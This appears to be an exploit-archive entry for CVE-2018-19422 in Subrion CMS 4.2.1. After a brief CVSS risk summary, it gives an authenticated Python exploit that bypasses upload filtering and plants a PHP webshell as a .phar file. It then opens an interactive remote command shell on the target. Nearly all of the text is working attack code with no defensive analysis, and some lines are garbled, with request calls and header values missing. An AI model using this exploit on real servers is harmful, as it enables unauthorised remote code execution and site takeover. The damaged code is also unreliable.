Subrion CMS 4.2.1 Shell Upload

Risk: High
Local: No
Remote: Yes
CWE: CWE-264

CVSS Base Score: 6.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

# Exploit Title: File Upload Bypass to RCE (Authenticated) # Google Dork: N/A # Date: 17/05/2021 # Exploit Author: Fellipe Oliveira # Vendor Homepage: # Software Link: # Version: SubrionCMS 4.2.1 # Tested on: Debian9, Debian 10 and Ubuntu 16.04 # CVE : CVE-2018-19422 # Exploit Requirements: BeautifulSoup library # #!/usr/bin/python3 import requests import time import optparse import random import string from bs4 import BeautifulSoup parser = optparse.OptionParser() parser.add_option('-u', '--url', action="store", dest="url", help="Base target uri http://target/panel") parser.add_option('-l', '--user', action="store", dest="user", help="User credential to login") parser.add_option('-p', '--passw', action="store", dest="passw", help="Password credential to login") options, args = parser.parse_args() if not options.url: print('[+] Specify an url target') print('[+] Example usage: -u http://target-uri/panel') print('[+] Example help usage: -h') exit() url_login = options.url url_upload = options.url + 'uploads/read.json' url_shell = options.url + 'uploads/' username = options.user password = options.passw session = requests.Session() def login(): global csrfToken print('[+] SubrionCMS 4.2.1 - File Upload Bypass to RCE - CVE-2018-19422 \n') print('[+] Trying to connect to: ' + url_login) try: get_token_request = session.get(url_login) soup = BeautifulSoup(get_token_request.text, 'html.parser') csrfToken = soup.find('input',attrs = {'name':'__st'})['value'] print('[+] Success!') time.sleep(1) if csrfToken: print(f"[+] Got CSRF token: {csrfToken}") print("[+] Trying to log in...") auth_url = url_login auth_cookies = {"loader": "loaded"} auth_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "", "Connection": "close", "Referer": "", "Upgrade-Insecure-Requests": "1"} auth_data = {"__st": csrfToken, "username": username, "password": password} auth =, headers=auth_headers, cookies=auth_cookies, data=auth_data) if len(auth.text) <= 7000: print('\n[x] Login failed... Check credentials') exit() else: print('[+] Login Successful!\n') else: print('[x] Failed to got CSRF token') exit() except requests.exceptions.ConnectionError as err: print('\n[x] Failed to Connect in: '+url_login+' ') print('[x] This host seems to be Down') exit() return csrfToken def name_rnd(): global shell_name print('[+] Generating random name for Webshell...') shell_name = ''.join((random.choice(string.ascii_lowercase) for x in range(15))) time.sleep(1) print('[+] Generated webshell name: '+shell_name+'\n') return shell_name def shell_upload(): print('[+] Trying to Upload Webshell..') try: up_url = url_upload up_cookies = {"INTELLI_06c8042c3d": "15ajqmku31n5e893djc8k8g7a0", "loader": "loaded"} up_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "*/*", "Accept-Language": "pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Content-Type": "multipart/form-data; boundary=---------------------------6159367931540763043609390275", "Origin": "", "Connection": "close", "Referer": ""} up_data = "-----------------------------6159367931540763043609390275\r\nContent-Disposition: form-data; name=\"reqid\"\r\n\r\n17978446266285\r\n-----------------------------6159367931540763043609390275\r\nContent-Disposition: form-data; name=\"cmd\"\r\n\r\nupload\r\n-----------------------------6159367931540763043609390275\r\nContent-Disposition: form-data; name=\"target\"\r\n\r\nl1_Lw\r\n-----------------------------6159367931540763043609390275\r\nContent-Disposition: form-data; name=\"__st\"\r\n\r\n"+csrfToken+"\r\n-----------------------------6159367931540763043609390275\r\nContent-Disposition: form-data; name=\"upload[]\"; filename=\""+shell_name+".phar\"\r\nContent-Type: application/octet-stream\r\n\r\n<?php system($_GET['cmd']); ?>\n\r\n-----------------------------6159367931540763043609390275\r\nContent-Disposition: form-data; name=\"mtime[]\"\r\n\r\n1621210391\r\n-----------------------------6159367931540763043609390275--\r\n", headers=up_headers, cookies=up_cookies, data=up_data) except requests.exceptions.HTTPError as conn: print('[x] Failed to Upload Webshell in: '+url_upload+' ') exit() def code_exec(): try: url_clean = url_shell.replace('/panel', '') req = session.get(url_clean + shell_name + '.phar?cmd=id') if req.status_code == 200: print('[+] Upload Success... Webshell path: ' + url_shell + shell_name + '.phar \n') while True: cmd = input('$ ') x = session.get(url_clean + shell_name + '.phar?cmd='+cmd+'') print(x.text) else: print('\n[x] Webshell not found... upload seems to have failed') except: print('\n[x] Failed to execute PHP code...') login() name_rnd() shell_upload() code_exec()

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